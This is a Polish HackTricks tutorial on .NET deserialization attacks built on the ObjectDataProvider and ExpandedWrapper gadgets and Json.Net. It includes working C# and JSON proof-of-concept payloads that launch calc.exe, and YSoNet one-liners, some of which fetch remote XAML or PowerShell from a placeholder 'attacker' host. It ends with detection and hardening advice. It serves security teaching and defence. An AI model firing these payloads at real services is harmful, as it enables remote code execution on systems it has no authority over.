Podstawowa deserializacja .Net (gadget ObjectDataProvider, ExpandedWrapper i Json.Net)

Reading time: 8 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Ten post jest poświęcony zrozumieniu, jak gadget ObjectDataProvider jest wykorzystywany do uzyskania RCE oraz jak biblioteki serializacji Json.Net i xmlSerializer mogą być nadużywane z tym gadgetem.

Gadget ObjectDataProvider

Z dokumentacji: klasa ObjectDataProvider opakowuje i tworzy obiekt, który możesz użyć jako źródło powiązania.
Tak, to dziwne wyjaśnienie, więc zobaczmy, co ma ta klasa, co jest tak interesujące: Ta klasa pozwala na opakowanie dowolnego obiektu, użycie MethodParameters do ustawienia dowolnych parametrów i następnie użycie MethodName do wywołania dowolnej funkcji dowolnego obiektu zadeklarowanego przy użyciu dowolnych parametrów.
W związku z tym, dowolny obiekt będzie wykonywał funkcję z parametrami podczas deserializacji.

Jak to jest możliwe

Przestrzeń nazw System.Windows.Data, znajdująca się w PresentationFramework.dll w C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF, to miejsce, w którym zdefiniowano i zaimplementowano ObjectDataProvider.

Używając dnSpy możesz zbadać kod klasy, która nas interesuje. Na poniższym obrazku widzimy kod PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Nazwa metody

Jak możesz zauważyć, gdy MethodName jest ustawione, wywoływana jest base.Refresh(), przyjrzyjmy się, co to robi:

Ok, kontynuujmy, aby zobaczyć, co robi this.BeginQuery(). BeginQuery jest nadpisywane przez ObjectDataProvider i to jest to, co robi:

Zauważ, że na końcu kodu wywoływana jest this.QueryWorke(null). Zobaczmy, co to wykonuje:

Zauważ, że to nie jest pełny kod funkcji QueryWorker, ale pokazuje interesującą część: Kod wywołuje this.InvokeMethodOnInstance(out ex); to jest linia, w której ustawiona metoda jest wywoływana.

Jeśli chcesz sprawdzić, że wystarczy ustawić MethodName, zostanie ona wykonana, możesz uruchomić ten kod:

java
using System.Windows.Data;
using System.Diagnostics;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}

Zauważ, że musisz dodać jako odniesienie C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll, aby załadować System.Windows.Data

ExpandedWrapper

Korzystając z poprzedniego exploita, będą przypadki, w których obiekt będzie deserializowany jako instancja ObjectDataProvider (na przykład w przypadku podatności DotNetNuke, używając XmlSerializer, obiekt został deserializowany przy użyciu GetType). Wtedy nie będziemy mieli wiedzy o typie obiektu, który jest opakowany w instancji ObjectDataProvider (na przykład Process). Możesz znaleźć więcej informacji o podatności DotNetNuke tutaj.

Ta klasa pozwala określić typy obiektów obiektów, które są enkapsulowane w danej instancji. Tak więc, ta klasa może być używana do enkapsulowania obiektu źródłowego (ObjectDataProvider) w nowy typ obiektu i dostarczenia potrzebnych właściwości (ObjectDataProvider.MethodName i ObjectDataProvider.MethodParameters).
Jest to bardzo przydatne w przypadkach takich jak ten przedstawiony wcześniej, ponieważ będziemy mogli opakować _ObjectDataProvider** wewnątrz instancji **ExpandedWrapper _ i po deserializacji ta klasa utworzy obiekt OjectDataProvider, który wykona funkcję wskazaną w MethodName.

Możesz sprawdzić ten wrapper za pomocą następującego kodu:

java
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}

Json.Net

Na oficjalnej stronie wskazano, że ta biblioteka pozwala na serializację i deserializację dowolnego obiektu .NET za pomocą potężnego serializatora JSON Json.NET. Więc, jeśli moglibyśmy zdeserializować gadżet ObjectDataProvider, moglibyśmy spowodować RCE po prostu deserializując obiekt.

Przykład Json.Net

Przede wszystkim zobaczmy przykład, jak serializować/zdeserializować obiekt przy użyciu tej biblioteki:

java
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;

namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}

//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}

Wykorzystywanie Json.Net

Używając ysoserial.net stworzyłem exploit:

java
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

W tym kodzie możesz przetestować exploit, po prostu go uruchom, a zobaczysz, że kalkulator zostanie uruchomiony:

java
using System;
using System.Text;
using Newtonsoft.Json;

namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));

//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}

Zaawansowane łańcuchy gadżetów .NET (YSoNet i ysoserial.net)

Technika ObjectDataProvider + ExpandedWrapper wprowadzona powyżej to tylko jeden z WIELU łańcuchów gadżetów, które można wykorzystać, gdy aplikacja wykonuje niebezpieczną deserializację .NET. Nowoczesne narzędzia red-teamowe, takie jak YSoNet (oraz starsze ysoserial.net), automatyzują tworzenie gotowych do użycia złośliwych grafów obiektów dla dziesiątek gadżetów i formatów serializacji.

Poniżej znajduje się skondensowana referencja najprzydatniejszych łańcuchów dostarczonych z YSoNet wraz z krótkim wyjaśnieniem, jak działają oraz przykładowymi poleceniami do generowania ładunków.

Łańcuch GadżetówKluczowa Idea / PrimitivPowszechne SerializatoryYSoNet one-liner
TypeConfuseDelegateKorumpuje rekord DelegateSerializationHolder, tak że po zmaterializowaniu delegat wskazuje na dowolną metodę dostarczoną przez atakującego (np. Process.Start)BinaryFormatter, SoapFormatter, NetDataContractSerializerysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin
ActivitySurrogateSelectorWykorzystuje System.Workflow.ComponentModel.ActivitySurrogateSelector, aby obejść filtrowanie typów .NET ≥4.8 i bezpośrednio wywołać konstruktor dostarczonej klasy lub skompilować plik C# w locieBinaryFormatter, NetDataContractSerializer, LosFormatterysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat
DataSetOldBehaviourWykorzystuje dziedziczną reprezentację XML System.Data.DataSet, aby zainstancjonować dowolne typy, wypełniając pola <ColumnMapping> / <DataType> (opcjonalnie fałszując assembly za pomocą --spoofedAssembly)LosFormatter, BinaryFormatter, XmlSerializerysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml
GetterCompilerResultsW środowiskach z obsługą WPF (> .NET 5) łączy gettery właściwości, aż dotrze do System.CodeDom.Compiler.CompilerResults, a następnie kompiluje lub ładowa DLL dostarczoną z -cJson.NET typeless, MessagePack typelessysonet.exe GetterCompilerResults -c Loader.dll > payload.json
ObjectDataProvider (przegląd)Używa WPF System.Windows.Data.ObjectDataProvider, aby wywołać dowolną statyczną metodę z kontrolowanymi argumentami. YSoNet dodaje wygodną wersję --xamlurl, aby hostować złośliwy XAML zdalnieBinaryFormatter, Json.NET, XAML, itd.ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml
PSObject (CVE-2017-8565)Osadza ScriptBlock w System.Management.Automation.PSObject, który wykonuje się, gdy PowerShell deserializuje obiektZdalne wywołanie PowerShell, BinaryFormatterysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin

tip

Wszystkie ładunki są domyślnie zapisywane do stdout, co ułatwia ich przesyłanie do innych narzędzi (np. generatorów ViewState, kodowników base64, klientów HTTP).

Budowanie / Instalowanie YSoNet

Jeśli nie ma dostępnych skompilowanych binarek w Actions ➜ Artifacts / Releases, poniższy PowerShell one-liner skonfiguruje środowisko budowy, sklonuje repozytorium i skompiluje wszystko w trybie Release:

powershell
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;

git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release

Skonstruowany ysonet.exe można znaleźć w ysonet/bin/Release/.

Wykrywanie i wzmacnianie

  • Wykryj nieoczekiwane procesy potomne w3wp.exe, PowerShell.exe lub jakikolwiek proces deserializujący dane dostarczone przez użytkownika (np. MessagePack, Json.NET).
  • Włącz i wymuszaj filtrowanie typów (TypeFilterLevel = Full, niestandardowy SurrogateSelector, SerializationBinder, itd.) zawsze, gdy przestarzały BinaryFormatter / NetDataContractSerializer nie może być usunięty.
  • Gdzie to możliwe, migruj do System.Text.Json lub DataContractJsonSerializer z konwerterami opartymi na białej liście.
  • Zablokuj niebezpieczne zestawy WPF (PresentationFramework, System.Workflow.*) przed ładowaniem w procesach webowych, które nigdy ich nie potrzebują.

Odniesienia

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks